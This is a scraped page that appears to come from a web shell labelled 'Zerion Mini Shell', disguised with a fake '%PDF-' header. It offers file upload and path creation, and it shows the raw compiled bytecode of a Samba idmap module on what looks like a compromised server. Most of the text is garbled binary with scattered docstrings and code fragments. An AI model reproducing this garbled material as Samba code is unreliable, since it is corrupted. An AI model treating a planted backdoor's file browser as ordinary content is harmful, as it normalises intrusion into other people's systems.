%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/samba/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/samba/__pycache__/idmap.cpython-312.pyc

�

�I�d���F�dZdZddlZddlZGd�dej�Zy)z3Convenience functions for using the idmap database.�restructuredText�Nc�N��eZdZdZdZdZdZ		d	�fd�	Zd
�fd�	Zd�Z	dd�Z
�xZS)�IDmapDBzThe IDmap database.���c	�n��||_|�|jd�}tt|�|||||||��y)zbOpens the IDMap Database.

        For parameter meanings see the super class (samba.Ldb)
        Nz	idmap.ldb)�url�lp�modules_dir�session_info�credentials�flags�options)r�private_path�superr�__init__)	�selfr
rrr
rrr�	__class__s	        ��-/usr/lib/python3/dist-packages/samba/idmap.pyrzIDmapDB.__init__#sD�������;��/�/�+�.�C�
�g�t�%�#�"�+�3?�[�`e�.5�	&�	7�c�d��tt|�|jj	|�||��y)N)r
rr)rr�connectrr)rr
rrrs    �rrzIDmapDB.connect1s-���
�g�t�$����)=�)=�c�)B�%�-4�	%�	6rc���|jddtj��}|djd�}tj}|�$|djd�}tj
}t
t|��dz}tj�}tj|d�|_
tjt|�|d�|d<|j|�|S)	z�Increment xidNumber, if not present it create and assign it to the lowerBound

        :return xid can that be used for SID/unixid mapping
        zdistinguishedName=CN=CONFIG�)�
expression�base�scoper�	xidNumber�
lowerBoundrz	CN=CONFIG)
�search�ldb�
SCOPE_SUBTREE�get�FLAG_MOD_REPLACE�FLAG_MOD_ADD�int�str�Message�Dn�dn�MessageElement�modify)r�res�id�flag�newid�msgs      r�
increment_xidzIDmapDB.increment_xid5s���
�k�k�%B�� #� 1� 1��3��
��V�Z�Z��
$���#�#��
�:��Q����L�)�B��#�#�D��C��G��q� ���k�k�m������k�*����-�-�c�%�j�$��L��K�����C���	rc��|�|j�}d}||jk(rd}n%||jk(rd}n||jk(rd}nyd|�d|�d|�d	|�d
|�d�}|j	t|j
|��d�y)
z�Setup a mapping between a sam name and a unix name.

        :param sid: SID of the NT-side of the mapping.
        :param unixname: Unix id to map to, if none supplied the next one will be selected
        Nr�ID_TYPE_UID�ID_TYPE_GID�ID_TYPE_BOTHz
dn: CN=z
xidNumber: z
objectSid: z
objectClass: sidMap
type: z
cn: z

r)r3�TYPE_UID�TYPE_GID�	TYPE_BOTH�add�next�
parse_ldif)r�sid�type�unixid�type_string�mods      r�setup_name_mappingzIDmapDB.setup_name_mappingHs����>��'�'�)�F����4�=�=� �'�K�
�T�]�]�
"�'�K�
�T�^�^�
#�(�K����F�C��c�+��	
����d�o�o�c�*�+�A�.�/r)NNNNNrN)NrN)N)�__name__�
__module__�__qualname__�__doc__r8r9r:rrr3rC�
__classcell__)rs@rrrs1�����H��H��I�IM�48�7�6��&0rr)rG�
__docformat__r"�samba�Ldbr�rr�<module>rMs'��&:�"�
�
��H0�e�i�i�H0r

Zerion Mini Shell 1.0